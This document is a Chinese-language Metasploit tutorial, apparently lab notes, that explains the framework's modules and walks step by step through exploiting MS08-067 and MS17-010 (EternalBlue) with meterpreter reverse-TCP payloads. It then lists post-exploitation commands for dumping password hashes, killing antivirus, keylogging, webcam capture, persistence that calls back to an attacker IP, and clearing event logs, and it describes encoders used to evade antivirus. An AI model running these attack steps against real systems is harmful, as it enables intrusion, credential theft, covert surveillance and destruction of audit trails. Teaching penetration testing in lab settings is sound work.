Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具。
Metasploit核心中绝大部分有Rudy实现,一小部分由汇编和C语言实现。
路径: /usr/share/metasploit-framework/
- config: MSF环境配置信息,数据库配置信息
- data:后渗透模块的一些工具及payload,第三方小工具集合,用户字典等数据信息
- documentation:用户说明文档及开发文档
- external: MSF的一些基础扩展模块
- lib:基础类和第三方模块类
- modules: MSF系统工具模块
- plugins:第三方插件接口
- scripts: MSF的常用后渗透模块,区别于data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行
- tools:额外的小工具和第三方脚本工具
- msfconsole: MSF基本命令行,集成了各种功能
- msfd: MSF服务,非持久性服务
- msfdb: MSF数据库
- msfupdate: MSF更新模块,可以用来更新MSF模块
- msfrpc: MSF的服务端,非持久性的rpc服务
- msfrpcd:持久性的MSF本地服务,可以给远程用户提供rpc服务以及其他的http服务,可以通过xml进行数据传输。
- 渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,以及用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
- 渗透攻击模块是Metasploit框架中最核心的功能组件。
- 攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码。
- 攻击载荷模块从最简单的添加用户账号、提供命令行Shell,到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter,这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型,这种模块化设计与灵活的组装模式也为渗透攻击者提供了极大的便利。
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
- 空指令(NOP)是一些对程序运行状态不会造成任何实质性影响的空操作或无关操作指令。最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90。
- 在渗透攻击构造邪恶数据缓冲区时,常常要在真正执行的Shellcode之前添加一段空指令区。这样,当触发渗透攻击后跳转执行Shellcode时,就会有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败。
- Matasploit框架中的空指令模块就是用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。
编码器模块通过对攻击载荷进行各种不同形式的编码,完成两大任务: -是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符”; 二是对攻击载荷进行“免杀”处理,即逃避反病毒软件、IDS/IPS的检测与阻断。
后渗透攻击模块主要用于在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步横向拓展、 实施跳板攻击等。
规避模块主要用于规避Windows Defender防火墙、Windows应 用程序控制策略(applocker)等的检查。
输入msfconsole进入ms终端,启动Metasploit
命令 | 功能 |
---|---|
msfdb init | msf数据库初始化 |
msfdb delete | 删除msf数据库并停止使用 |
msfdb start | 启动msf数据库 |
msfdb stop | 停止msf数据库 |
apt install metasploit framework | msf更新 |
msfvenom | 多平台攻击载荷生成器 |
msf-nasm_ shell | 将汇编指令转换成为对应的16进制机器码 |
msfconsole | 打开msf终端 |
在msf终端下,输入?或help,可查看终端命令集
命令 | 功能 |
---|---|
db_ status | 查看msf数据库连接状态 |
db_ nmap | 调用nmap扫描,并将扫描结果存入数据库 |
search | 搜索含有关键字的模块 |
use | 选择使用- -个模块 |
show payload | 显示该模块支持的payload |
show options | 显示该模块需要设置的参数 |
info | 查看详细信息 |
set | 使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的 值) |
back | 返回.上级状态 |
exploit/run | 两个命令都表示运行攻击模块 |
sessions | 查看当前连接的会话 |
- 缓冲区是内存中存放数据的地方。在程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。
- 缓冲区溢出攻击利用编写不够严谨的程序,通过向程序的缓冲区写入超过预定长度的数据,造成缓存的溢出,从而破坏程序的堆栈,导致程序执行流程的改变。
- 数量大,分布广泛
- 漏洞危害等级高
- 渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。
- 渗透攻击模块包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等多种攻击方法。其中缓冲区溢出攻击方法数量最多,总的来说可分为两大类,即主动溢出和被动溢出。主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限,被动溢出是针对目标主机被动的监听然后获得相应的操作。
- exploits模块支持的操作系统类别包括: AIS、 BSDI、 Dialup、 FreeBSD、Hpux、Irix、 Linux、 Netware、 OSX、Solaris、 Unix、 Windows等。 其中Windows的溢出方式数量最多。
- /usr/share/metasploit-framework/modules/exploits
- 扫描目标机系统,寻找可用漏洞
- 选择并配置- 个渗透攻击(漏洞利用)模块(exploits)
- 选择并配置- 个攻击载荷模块(payloads)
- 选择- -种编码技术(encoders),用来绕过杀毒软件的查杀
- 执行渗透攻击
- 后渗透阶 段的操作
操作机:Kali Linux 2021.1, Metasploit Frameworks 6.0.30
目标机:Windows Server 2003 sp2中文版(含ms08-067漏洞)Windows xp 英文版
此安全更新解决了服务器服务中一个秘密报告的漏洞。 如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程执行代码。在Microsoft Windows2000、Windows XP和Windows Server 2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。此漏洞可能用于进行蠕虫攻击。防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击。
步骤1:对目标机进行漏洞扫描,确认其存在ms08-067漏洞。本例中使用Nmap工具的以下命令对目标进行专项漏洞检测:
nmap --script smb-vuln-ms08-067.nse 192.168.147.144
步骤2 启动metasploit
msfdb init && msfconsole
步骤3:在msf终端下输入以下命令查找ms08-067相关模块:
search ms08-067
步骤4:use exp
步骤5:更改相应参数
show options 查看可选参数
set RHOST 设置目标ip
set payload windows/meterpreter/reverse_tcp //设置payload
步骤6:执行攻击
exploit
溢出攻击执行成功后,会显示meterpreter的提示符(因为步骤8在设置payload时选择了windows/meterpreter/reverse_tcp )。直接在该提示符下输入shell命令,则可以拿到目标机的shell。
search ms17-010
- use auxiliary/scanner/smb/smb_ ms17_ 010 (也可以use【payload对于序列号】)//使用smb_ ms17_ 010模块
- show options //查看该 模块需要设置哪些参数
- set RHOST192. 168.40.220 //设 罟目标机的IP地址
run
检测结果为目标机具有ms17-010漏洞(vulnerable)
- use exploit/windows/smb/ms17_ 010_ eternalblue//使用ms17_ 010_ eternalblue模块
- set RHOST 192.168.40.142 //设置 目标机的IP地址
- set payload windows/x64/meterpreter/reverse_tcp//使用payload: meterpreter/reverse_ tcp
- set RPORT 445 //设置目标端口
- set target 0 //设置目标操作系统类型为Windows 7
run
攻击执行成功后,会显示meterpreter的提示符(因为步骤5在设置payload时选择了windows/x64/meterpreter/reverse_tcp )。直接在该提示符下输入shell命令,则可以拿到目标机的shell.
运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
要想从 meterpreter 退出到MSF框架,输入:background
输入 sessions -l 查看我们获得的shell
输入 sessions -i 1 即可切换到id为1的shell
在meterpreter > 中我们可以使用以下的命令来实现对目标的操作
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志
下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
reverse_ tcp:攻击机设置一个端口(LPORT) 和IP (LHOST) ,Payload在目标机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现目标机已经连接。
victim_ IP:xxxx -> attacker. IP:4444bind_ tcp:攻击机设置一个端口(LPORT) ,Payload在目标机执行打开该端口,以便攻击机可以接入。
attacker_ IP:xXXx -> victim_ IP:4444
- 采用reverse的方法一般较为安全, 因为是目标机主动连接攻击机,所以一般不会被防火墙发现。
- 而采用bind的方法,攻击机主动连接目标机( 即需要在目标机上打开端口)时很容易被安全软件和防火墙发现。
主要功能:执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
与exploits模块的区别:
- exploits模块一 般 需要和payloads模块联合使用,通过exploits模块渗透成功后执行payloads模块中的代码。
- auxiliary模块不需要和payloads模块联合使用。
/usr/share/metasploit-framework/modules/auxiliary
- Metasploit V4之后的新版本中,meterpreter作为后渗透攻击模块的实施通道,可以根据渗透测试目标需求进行灵活扩展。
- 涉及范围:信息收集、口令攫取、权限提升、内网拓展等。
- 平台通用性:提供了各种主流操作系统和平台上的meterpreter版本,包括Windows、Linux、BSD等,并同时支持x86和x64平台,另外还提供基于Java和PHP语言的实现,以应对各种不同环境。
- 纯内存工作模式:工作时直接装载meterpreter的动态链接库到目标进程空间,而不是先上传到磁盘,再调用loadlibrary加载动态链接库启动。这样启动隐蔽,很难被杀毒软件检测到,也不会在目标主机磁盘留下任何痕迹。
- 灵活且加密的通信协议:采用TLV (Type Length Value) 数据封装格式;通信数据经过XOR加密,然后调用OpenSSL库进行SSL封装传输,保证传输的保密和隐蔽性。
- 易于扩展: meterpreter的插件以动态链接库文件的形式存在,可以根据喜好或习惯选择编程语言,并按照meterpreter的接口形式编写所需要的功能,然后编译成动态链接库,拷贝至相应目录即可。
命令 | 功能 |
---|---|
pwd | 打印当前工作目录 |
sysinfo | 查看系统信息 |
getuid | 获取当前权限的用户id |
ps | 查看 当前目标机上运行的进程列表和pid |
getsystem | 获取system权限 |
screenshot | 截取目标主机当前屏幕 |
hashdump | 获取用户名与hash口令 |
shell | 获取目标主机shell |
upload | 上传一一个文件 |
execute | 执行目标系统中的文件(-f指定文件,-i执行可交互模式,-H隐 藏窗口) |
clearev | 清除日志 |
background | 将meterpreter放入后台(使用sessions -i重新连接到会话) |
该命令对目标机进行截屏,并将截屏图片保存至/root目录
非常重要的命令,可获取系统的shell控制台
该脚本可以往目标机上传一个vnc agent,用以查看目标机的屏幕
该脚本可以检测所在局域网中的存活主机。
该脚本可以列举目标系统信息,包括攫取用户名和密码、下载全部注册表、挖掘密码hash值、输出HKEY_ CURRENT_ USER (HKCU)等。
该脚本允许在目标机注入meterpreter代理,以确保系统重启之后meterpreter还能运行。
- 在以前,meterpreter 脚本使用自己的格式,与Metasploit其它模块的区别很大。
- 随着Metasploit版本的演进,meterpreter 脚本正在被慢慢转化为后渗透模块(post),最终将和Metasploit模块(即exploits、auxiliary、 post等)使用统一-的标准和格式。
- 模块间统一-格式的优点是 可以在所有会话间实施相同的攻击。
该脚本用于开启目标机的远程桌面服务,使用前需要先运行getsystem命令获取系统权限。
开启远程桌面成功后,可以在kali终端使用“rdesktop 目标IP”远程连接目标机
重要的脚本,可以将meterpreter会话迁移到内存空间中的其它稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接。